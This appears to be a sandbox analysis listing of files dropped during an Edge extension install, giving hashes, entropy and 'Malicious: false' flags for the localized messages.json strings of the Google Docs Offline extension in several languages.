C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
